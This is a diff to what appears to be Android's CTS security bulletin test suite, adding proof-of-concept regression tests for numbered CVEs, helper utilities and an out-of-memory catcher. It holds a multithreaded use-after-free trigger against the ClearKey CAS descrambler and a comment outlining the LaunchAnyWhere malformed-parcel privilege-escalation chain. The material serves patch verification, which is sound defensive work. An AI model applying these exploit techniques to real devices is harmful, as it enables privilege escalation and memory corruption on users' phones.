+  sp<ICas> cas = service->createPlugin(CLEARKEY_SYSTEMID, NULL);
+  FAIL_CHECK(cas->provision(provision_str) == Status::OK)
+
+  sp<IDescramblerBase> descramblerBase =
+      service->createDescrambler(CLEARKEY_SYSTEMID);
+  descrambler = IDescrambler::castFrom(descramblerBase);
+
+  time_t timer = start_timer();
+  while (timer_active(timer)) {
+    // Prepare sessions
+    Status opensession_status;
+    hidl_vec<uint8_t> session1;
+    cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
+      opensession_status = status;
+      session1 = sessionId;
+    });
+    FAIL_CHECK(opensession_status == Status::OK);
+    // Add a key to the first session. This will make descramble work only on
+    // the first session, helping us differentiate between the sessions for
+    // debugging.
+    hidl_vec<uint8_t> ecm;
+    ecm.setToExternal((uint8_t *)ecm_buffer, sizeof(ecm_buffer));
+    FAIL_CHECK(cas->processEcm(session1, ecm) == Status::OK);
+
+    hidl_vec<uint8_t> session2;
+    cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
+      opensession_status = status;
+      session2 = sessionId;
+    });
+    FAIL_CHECK(opensession_status == Status::OK);
+
+    // Set the descrambler's session to session1, then close it (and remove it
+    // from the sessions map). This way the only reference on the service to
+    // session1 will be from descrambler's session.
+    FAIL_CHECK(descrambler->setMediaCasSession(session1) == Status::OK);
+    FAIL_CHECK(cas->closeSession(session1) == Status::OK);
+
+    // Prepare the threads which run descramble
+    FAIL_CHECK(pthread_barrier_init(&barrier, NULL, THREADS_NUM + 1) == 0);
+    pthread_t threads[THREADS_NUM];
+    for (size_t i = 0; i < THREADS_NUM; i++) {
+      FAIL_CHECK(pthread_create(threads + i, NULL, thread_func, NULL) == 0);
+    }
+
+    // Let the threads run by waiting on the barrier. This means that past this
+    // point all threads will run descramble.
+    pthread_barrier_wait(&barrier);
+
+    // While the threads are running descramble, change the descrambler session
+    // to session2. Hopefully this will cause a use-after-free through a race
+    // condition, session1's reference count will drop to 0 so it will be
+    // released, but one thread will still run descramble on the released
+    // session.
+    FAIL_CHECK(descrambler->setMediaCasSession(session2) == Status::OK);
+
+    // Go over thread results
+    for (size_t i = 0; i < THREADS_NUM; i++) {
+      thread_result_t thread_result;
+      FAIL_CHECK(pthread_join(threads[i], (void **)&thread_result) == 0);
+      if (thread_result == RESULT_CRASH) {
+        return EXIT_VULNERABLE;
+      }
+    }
+
+    // Cleanup
+    FAIL_CHECK(cas->closeSession(session2) == Status::OK);
+    FAIL_CHECK(pthread_barrier_destroy(&barrier) == 0);
+  }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
index 6800dc9..bc93c1e 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/common.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -23,6 +23,16 @@
 // exit status code
 #define EXIT_VULNERABLE 113
 
+#define FAIL_CHECK(condition) \
+  if (!(condition)) { \
+    fprintf(stderr, "Check failed:\n\t" #condition "\n\tLine: %d\n", \
+            __LINE__); \
+    exit(EXIT_FAILURE); \
+  }
+
+#define _32_BIT UINTPTR_MAX == UINT32_MAX
+#define _64_BIT UINTPTR_MAX == UINT64_MAX
+
 time_t start_timer(void);
 int timer_active(time_t timer_started);
 
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 5ac0f87..b9f3b2b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -20,19 +20,17 @@
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.log.LogUtil.CLog;
 
-import android.platform.test.annotations.RootPermissionTest;
-
 import java.io.BufferedOutputStream;
 import java.io.File;
 import java.io.FileOutputStream;
-import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
-import java.util.Scanner;
 import java.util.concurrent.TimeUnit;
+import java.util.Scanner;
+
+import static org.junit.Assert.*;
 
 public class AdbUtils {
 
@@ -203,28 +201,41 @@
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
+    @Deprecated
     public static boolean runPocCheckExitCode(String pocName, ITestDevice device,
                                               int timeout) throws Exception {
-      device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
-      CollectingOutputReceiver receiver = new CollectingOutputReceiver();
-      device.executeShellCommand("/data/local/tmp/" + pocName + " > /dev/null 2>&1; echo $?",
-                                 receiver, timeout, TimeUnit.SECONDS, 0);
-
-      String returnStr = null;
-      int returnNum = 0;
-
-      try{
-           returnStr = receiver.getOutput().replaceAll("[^0-9]", "");
-       }catch(NullPointerException e){
-          return false;
-       }
-       try{
-         returnNum = Integer.parseInt(returnStr);
-       }catch(NumberFormatException e){
-          return false;
-       }
 
        //Refer to go/asdl-sts-guide Test section for knowing the significance of 113 code
-       return returnNum == 113;
+       return runPocGetExitStatus(pocName, device, timeout) == 113;
+    }
+
+    /**
+     * Pushes and runs a binary to the device and returns the exit status.
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+
+     */
+    public static int runPocGetExitStatus(String pocName, ITestDevice device, int timeout)
+            throws Exception {
+        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        device.executeShellCommand("/data/local/tmp/" + pocName + " > /dev/null 2>&1; echo $?",
+                                   receiver, timeout, TimeUnit.SECONDS, 0);
+
+        String exitStatus = receiver.getOutput().replaceAll("[^0-9]", "");
+        return Integer.parseInt(exitStatus);
+    }
+
+    /**
+     * Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     */
+    public static void runPocAssertExitStatusNotVulnerable(
+            String pocName, ITestDevice device, int timeout) throws Exception {
+        assertTrue("PoC returned exit status 113: vulnerable",
+                runPocGetExitStatus(pocName, device, timeout) != 113);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
new file mode 100644
index 0000000..86f930b
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
@@ -0,0 +1,228 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.device.BackgroundDeviceAction;
+
+import android.platform.test.annotations.RootPermissionTest;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import java.util.Map;
+import java.util.HashMap;
+import java.util.concurrent.ConcurrentHashMap;
+import com.android.ddmlib.MultiLineReceiver;
+import com.android.ddmlib.Log;
+import com.android.ddmlib.TimeoutException;
+import java.lang.ref.WeakReference;
+
+/**
+ * A utility to monitor the device lowmemory state and reboot when low. Without this, tests that
+ * cause an OOM can sometimes cause ADB to become unresponsive indefinitely. Usage is to create an
+ * instance per instance of SecurityTestCase and call start() and stop() matching to
+ * SecurityTestCase setup() and teardown().
+ */
+public class HostsideOomCatcher {
+
+    private static final String LOG_TAG = "HostsideOomCatcher";
+
+    private static final long LOW_MEMORY_DEVICE_THRESHOLD_KB = 1024 * 1024; // 1GB
+    private static Map<String, WeakReference<BackgroundDeviceAction>> oomCatchers =
+            new ConcurrentHashMap<>();
+    private static Map<String, Long> totalMemories = new ConcurrentHashMap<>();
+
+    private boolean isLowMemoryDevice = false;
+
+    private SecurityTestCase context;
+
+    /**
+     * test behavior when oom is detected.
+     */
+    public enum OomBehavior {
+        FAIL_AND_LOG, // normal behavior
+        PASS_AND_LOG, // skip tests that oom low memory devices
+        FAIL_NO_LOG,  // tests that check for oom
+    }
+    private OomBehavior oomBehavior = OomBehavior.FAIL_AND_LOG; // accessed across threads
+    private boolean oomDetected = false; // accessed across threads
+
+    public HostsideOomCatcher(SecurityTestCase context) {
+        this.context = context;
+    }
+
+    /**
+     * Utility to get the device memory total by reading /proc/meminfo and returning MemTotal
+     */
+    private static long getMemTotal(ITestDevice device) throws DeviceNotAvailableException {
+        // cache device TotalMem to avoid an adb shell for every test.
+        String serial = device.getSerialNumber();
+        Long totalMemory = totalMemories.get(serial);
+        if (totalMemory == null) {
+            String memInfo = device.executeShellCommand("cat /proc/meminfo");
+            Pattern pattern = Pattern.compile("MemTotal:\\s*(.*?)\\s*[kK][bB]");
+            Matcher matcher = pattern.matcher(memInfo);
+            if (matcher.find()) {
+                totalMemory = Long.parseLong(matcher.group(1));
+            } else {
+                throw new RuntimeException("Could not get device memory total.");
+            }
+            Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+                    "Device " + serial + " has " + totalMemory + "KB total memory.");
+            totalMemories.put(serial, totalMemory);
+        }
+        return totalMemory;
+    }
+
+    /**
+     * Start the hostside oom catcher thread for the test.
+     * Match this call to SecurityTestCase.setup().
+     */
+    public synchronized void start() throws Exception {
+        long totalMemory = getMemTotal(getDevice());
+        isLowMemoryDevice = totalMemory < LOW_MEMORY_DEVICE_THRESHOLD_KB;
+
+        // reset test oom behavior
+        // Devices should fail tests that OOM so that they'll be ran again with --retry.
+        // If the test OOMs because previous tests used the memory, it will likely pass
+        // on a second try.
+        oomBehavior = OomBehavior.FAIL_AND_LOG;
+        oomDetected = false;
+
+        // Cache OOM detection in separate persistent threads for each device.
+        WeakReference<BackgroundDeviceAction> reference =
+                oomCatchers.get(getDevice().getSerialNumber());
+        BackgroundDeviceAction oomCatcher = null;
+        if (reference != null) {
+            oomCatcher = reference.get();
+        }
+        if (oomCatcher == null || !oomCatcher.isAlive() || oomCatcher.isCancelled()) {
+            AdbUtils.runCommandLine("am start com.android.cts.oomcatcher/.OomCatcher", getDevice());
+
+            oomCatcher = new BackgroundDeviceAction(
+                    "logcat -c && logcat OomCatcher:V *:S",
+                    "Oom Catcher background thread",
+                    getDevice(), new OomReceiver(getDevice()), 0);
+
+            oomCatchers.put(getDevice().getSerialNumber(), new WeakReference<>(oomCatcher));
+            oomCatcher.start();
+        }
+    }
+
+    /**
+     * Stop the hostside oom catcher thread.
+     * Match this call to SecurityTestCase.setup().
+     */
+    public static void stop(String serial) {
+        WeakReference<BackgroundDeviceAction> reference = oomCatchers.get(serial);
+        if (reference != null) {
+            BackgroundDeviceAction oomCatcher = reference.get();
+            if (oomCatcher != null) {
+                oomCatcher.cancel();
+            }
+        }
+    }
+
+    /**
+     * Check every test teardown to see if the device oomed during the test.
+     */
+    public synchronized boolean isOomDetected() {
+        return oomDetected;
+    }
+
+    /**
+     * Return the current test behavior for when oom is detected.
+     */
+    public synchronized OomBehavior getOomBehavior() {
+        return oomBehavior;
+    }
+
+    /**
+     * Flag meaning the test will likely fail on devices with low memory.
+     */
+    public synchronized void setHighMemoryTest() {
+        if (isLowMemoryDevice) {
+            oomBehavior = OomBehavior.PASS_AND_LOG;
+        } else {
+            oomBehavior = OomBehavior.FAIL_AND_LOG;
+        }
+    }
+
+    /**
+     * Flag meaning the test uses the OOM catcher to fail the test because the test vulnerability
+     * intentionally OOMs the device.
+     */
+    public synchronized void setOomTest() {
+        oomBehavior = OomBehavior.FAIL_NO_LOG;
+    }
+
+    private ITestDevice getDevice() {
+        return context.getDevice();
+    }
+
+    /**
+     * Read through logcat to find when the OomCatcher app reports low memory. Once detected, reboot
+     * the device to prevent a soft reset with the possiblity of ADB becomming unresponsive.
+     */
+    class OomReceiver extends MultiLineReceiver {
+
+        private ITestDevice device = null;
+        private boolean isCancelled = false;
+
+        public OomReceiver(ITestDevice device) {
+            this.device = device;
+        }
+
+        @Override
+        public void processNewLines(String[] lines) {
+            for (String line : lines) {
+                if (Pattern.matches(".*Low memory.*", line)) {
+                    // low memory detected, reboot device to clear memory and pass test
+                    isCancelled = true;
+                    Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+                            "lowmemorykiller detected; rebooting device.");
+                    synchronized (HostsideOomCatcher.this) { // synchronized for oomDetected
+                        oomDetected = true; // set HostSideOomCatcher var
+                    }
+                    try {
+                        device.nonBlockingReboot();
+                        device.waitForDeviceOnline(60 * 2 * 1000); // 2 minutes
+                    } catch (Exception e) {
+                        Log.e(LOG_TAG, e.toString());
+                    }
+                    return; // we don't need to process remaining lines in the array
+                }
+            }
+        }
+
+        @Override
+        public boolean isCancelled() {
+            return isCancelled;
+        }
+    }
+}
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/LaunchSomeWhere.java b/hostsidetests/securitybulletin/src/android/security/cts/LaunchSomeWhere.java
new file mode 100644
index 0000000..3a61311
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/LaunchSomeWhere.java
@@ -0,0 +1,93 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+
+/*
+ * Adding Tests:
+ * We are testing a series of exploits that all take advantage of binder in the
+ * same way, using a malformed parcel to get system permission, with the only
+ * difference being the details of how we create the malformed parcel. In order
+ * to take advantage of these similarities (among other reasons) we share code
+ * between these exploits with an app that only requires two things to run a new
+ * version of this exploit: a class implementing IGenerateMalformedParcel and an
+ * intent telling the app which version of the exploit to run.
+ *
+ * When you recieve a new LaunchAnyWhere exploit it will likely be in the form
+ * of an app that can perform a number of actions such as creating a new pin
+ * or installing an app without recieving the appropriate permissions. However,
+ * the only file we care about form the app will be GenMalformedParcel.java.
+ * Find that file and follow these steps to add a new LaunchAnyWhere test:
+ *
+ * 1. Copy GenMalformedParcel.java into the LaunchAnyWhere app at
+ *    cts/hostsidetests/security/test-apps/launchanywhere/src... Rename the file
+ *    and class after the CVE that you are addressing. Modify the class
+ *    signature and method signature so that it implements
+ *    IGenerateMalformedParcel (namely, add the `implements` clause and change
+ *    the function to public Parcel generate(Intent intent)).
+ *
+ * 2. Next, add a hostside test to the appropriate file in this directory.
+ *    In the test all you have to do is call
+ *    LaunchSomeWhere.launchSomeWhere("CVE_20XX_XXXXX", getDevice());
+ *
+ * 3. Verify your test and submit, assuming all went well. If not then check
+ *    for differences between the files in the submitted apk and the code in
+ *    tests/tests/security/src/android/security/cts/launchanywhere.
+ *
+ * Exploit Overview:
+ * All LaunchAnyWhere exploits take advantage of classes that write more data
+ * than they read. They follow the same process to send an intent with system
+ * permissions. The process is described below (you do not need to understand
+ * this in order to create tests, but we learned this while debugging some
+ * things and don't want the information to be lost):
+ *
+ * 1. Add an account with the account type 'com.launchanywhere' When an account
+ *    is added the AccountManager delegates the task of authenticating the
+ *    account to an instance of AbstractAccountAuthenticator. Our malicious
+ *    authenticator finds
+ *    android.accounts.IAccountAuthenticatorResponse.Stub.Proxy and replaces
+ *    it's mRemote field with our anonymous IBinder before returning a
+ *    default-constructed bundle. We save the old value and delegate to it
+ *    after altering the arguments when appropriate (MitM).
+ *
+ * 2. When we finish, our IBinder's transact is called. At this point we create
+ *    a reboot intent and send it to the appropriate class to generate the
+ *    malformed parcel. This grants the intent system permissions.
+ *
+ * 3. The phone reboots, proving a successful exploit.
+ */
+class LaunchSomeWhere {
+    public static void launchSomeWhere(String cve, ITestDevice device)
+        throws Exception {
+
+        String command = "am start";
+
+        String[] args = {
+            "--es", "cve", cve,
+            "-n", "com.android.security.cts.launchanywhere/.StartExploit"
+        };
+
+        for (String s : args) {
+          command += " " + s;
+        }
+
+        AdbUtils.runCommandLine(command, device);
+        if (device.waitForDeviceNotAvailable(9_000))
+            device.waitForDeviceAvailable();
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index d3da935..9a7e62a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -23,19 +23,31 @@
     /**
      * b/26323455
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-04")
     public void testPocCVE_2016_2419() throws Exception {
         AdbUtils.runCommandLine("logcat -c" , getDevice());
         AdbUtils.runPoc("CVE-2016-2419", getDevice(), 60);
         String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*IOMX_InfoLeak b26323455[\\s\\n\\S]*", logcat);
+        assertNotMatchesMultiLine("IOMX_InfoLeak b26323455", logcat);
     }
 
     /**
     *  b/26324307
     */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-04")
     public void testPocCVE_2016_0844() throws Exception {
         AdbUtils.runPoc("CVE-2016-0844", getDevice(), 60);
     }
+
+    /**
+     * b/26593930
+     */
+    @SecurityTest(minPatchLevel = "2016-04")
+    public void testPocCVE_2016_2412() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPoc("CVE-2016-2412", getDevice(), 60);
+        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> system_server <<<",
+            logcatOut);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index 9a1030d..d866a5a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -23,12 +23,20 @@
     /**
      *  b/27555981
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-05")
     public void testPocCVE_2016_2460() throws Exception {
         AdbUtils.runCommandLine("logcat -c" , getDevice());
         AdbUtils.runPoc("CVE-2016-2460", getDevice(), 60);
 
         String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*IGraphicBufferProducer_Info is Leaked[\\s\\n\\S]*", logcat);
+        assertNotMatchesMultiLine("IGraphicBufferProducer_Info is Leaked", logcat);
+    }
+
+    /**
+     *  b/27275324
+     */
+    @SecurityTest(minPatchLevel = "2016-05")
+    public void testPocCVE_2015_1805() throws Exception {
+      AdbUtils.runPoc("CVE-2015-1805", getDevice(), 300);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 2601d43..dcabb76 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -22,8 +22,28 @@
     /**
      *  b/28740702
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testPocCVE_2016_3818() throws Exception {
         AdbUtils.runPoc("CVE-2016-3818", getDevice(), 60);
     }
+
+    /**
+     *  b/27890802
+     */
+    @SecurityTest(minPatchLevel = "2016-07")
+    public void testPocCVE_2016_3746() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPoc("CVE-2016-3746", getDevice(), 60);
+        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
+                logcat);
+    }
+
+    /**
+     *  b/28557020
+     */
+    @SecurityTest(minPatchLevel = "2016-07")
+    public void testPocCVE_2014_9803() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2014-9803", getDevice(), 60);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index 7ab08ad..3280a68 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -22,7 +22,7 @@
     /**
      * b/27773913
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-09")
     public void testPocCVE_2016_2471() throws Exception {
         AdbUtils.runPoc("CVE-2016-2471", getDevice(), 60);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
index da8da31..bb18b0d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2018 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -22,9 +22,20 @@
 public class Poc16_11 extends SecurityTestCase {
 
     /**
+     *  b/29149404
+     */
+    @SecurityTest(minPatchLevel = "2016-11")
+    public void testPocCVE_2012_6702() throws Exception {
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+        AdbUtils.runPoc("CVE-2012-6702", getDevice(), 60);
+        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("fail: encountered same random values!", logcat);
+    }
+
+    /**
      *  b/30904789
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6730() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6730", getDevice(), 60);
@@ -34,7 +45,7 @@
     /**
      *  b/30906023
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6731() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6731", getDevice(), 60);
@@ -44,7 +55,7 @@
     /**
      *  b/30906599
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6732() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6732", getDevice(), 60);
@@ -54,7 +65,7 @@
     /**
      *  b/30906694
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6733() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6733", getDevice(), 60);
@@ -64,7 +75,7 @@
     /**
      *  b/30907120
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6734() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6734", getDevice(), 60);
@@ -74,7 +85,7 @@
     /**
      *  b/30907701
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6735() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6735", getDevice(), 60);
@@ -84,7 +95,7 @@
     /**
      *  b/30953284
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6736() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
new file mode 100644
index 0000000..be17721
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
@@ -0,0 +1,34 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc16_12 extends SecurityTestCase {
+
+    //Criticals
+    /**
+     *  b/31796940
+     */
+    @SecurityTest(minPatchLevel = "2016-12")
+    public void testPocCVE_2016_8406() throws Exception {
+        String cmd ="ls -l /sys/kernel/slab 2>/dev/null | grep nf_conn";
+        String result =  AdbUtils.runCommandLine(cmd ,getDevice());
+        assertNotMatchesMultiLine("nf_conntrack_(?!0{8})[A-Fa-f0-9]{8}", result);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index aba9ed0..107ac45 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -25,7 +25,7 @@
     /**
      *  b/31797770
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8425() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
             AdbUtils.runPoc("CVE-2016-8425", getDevice(), 60);
@@ -35,7 +35,7 @@
     /**
      *  b/31799206
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8426() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
             AdbUtils.runPoc("CVE-2016-8426", getDevice(), 60);
@@ -45,7 +45,7 @@
     /**
      *  b/31799885
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8427() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
               containsDriver(getDevice(), "/dev/nvhost-dbg-gpu")) {
@@ -56,7 +56,7 @@
     /**
      *  b/31993456
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8428() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
             AdbUtils.runPoc("CVE-2016-8428", getDevice(), 60);
@@ -66,7 +66,7 @@
     /**
      *  b/32160775
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8429() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
             AdbUtils.runPoc("CVE-2016-8429", getDevice(), 60);
@@ -76,7 +76,7 @@
     /**
      *  b/32225180
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8430() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
             AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
@@ -86,7 +86,7 @@
    /**
      *  b/32402179
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8431() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-8431", getDevice(), 60);
@@ -96,7 +96,7 @@
     /**
      *  b/32447738
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8432() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
             AdbUtils.runPoc("CVE-2016-8432", getDevice(), 60);
@@ -106,7 +106,7 @@
     /**
      *  b/32125137
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8434() throws Exception {
         if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
             // This poc is very verbose so we ignore the output to avoid using a lot of memory.
@@ -117,11 +117,19 @@
     /**
      *  b/31668540
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8460() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
             String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
             assertTrue(!result.equals("Vulnerable"));
         }
     }
+
+    /**
+     *  b/32255299
+     */
+    @SecurityTest(minPatchLevel = "2017-01")
+    public void testPocCVE_2017_0386() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2017-0386", getDevice(), 60);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
